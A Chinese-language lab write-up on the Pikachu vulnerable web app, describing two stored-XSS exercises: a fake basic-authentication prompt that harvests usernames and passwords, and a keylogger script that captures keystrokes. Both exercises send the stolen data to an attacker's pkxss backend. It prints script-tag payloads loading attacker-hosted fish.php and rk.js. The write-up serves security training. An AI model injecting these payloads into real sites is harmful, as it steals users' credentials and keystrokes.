pikachu之XSS钓鱼
实验思路:在一个存在xss漏洞的一个页面上面嵌入一个请求,当用户打开这个页面时候页面会向我们的后台去发送一个请求,这个请求会返回一个要求用户进行basic认证的一个头部,这时在用户的界面会弹出一个需要身份验证的提示框。当用户在这上面进行认证时,用户的账号密码就会被发送到我们的pkxss的后台。
实验操作:
首先打开pikachu上存储型的xss页面,输入对应的payload<script src="http://127.0.0.1:801/pikachu/pkxss/xfish/fish.php"></script>
这个js代码就是启返回basic认证到pkxss后台的作用,同时我们也要修改fish文件的后台地址改为我们自己的后台地址
这个后台文件代码先是会根据当前的请求获取账号密码,如果没有的话就会在用户页面弹出basic认证,再将用户在basic认证输入的账号密码通过重定向的方式去访问pkxss的后台,
然后后台的接收接口就会获取远端传送过来的数据,通过get的方式去获取里面的账号和密码再存到数据库里,
将payload js代码<script src="http://127.0.0.1:801/pikachu/pkxss/xfish/fish.php"></script>输入到的存储型xss的输入框就会弹出basic的认证,输入账号密码,
接着打开pkxss后台钓鱼结果,刷新页面就可以获取到用户的账号密码
XSS之键盘信息获取
实验前,先了解什么是跨域与同源策略
如果没有同源策略
攻击者可以通过发送带有恶意js的链接给用户,而一旦用户点击了,链接的url里的嵌入的js代码轻易地获取到用户cookie
实验操作:
仍然是存储型xss,首先修改pkxss里获取键盘记录的后台文件,将后台地址修改为自己的pkxss后台地址
接着在存储型xss的输入框中输入一段js代码
<script src=" http://127.0.0.1:801/pikachu/pkxss/rkeypress/rk.js"> </script>这段可以将rk.js加载到本地来运行
rk.js运行后 就是将用户的键盘记录获取然后发送个攻击者后台
将payload输入之后我们再随意按键盘,再去刷新pkxss的键盘记录页面会发现我们之前的按的键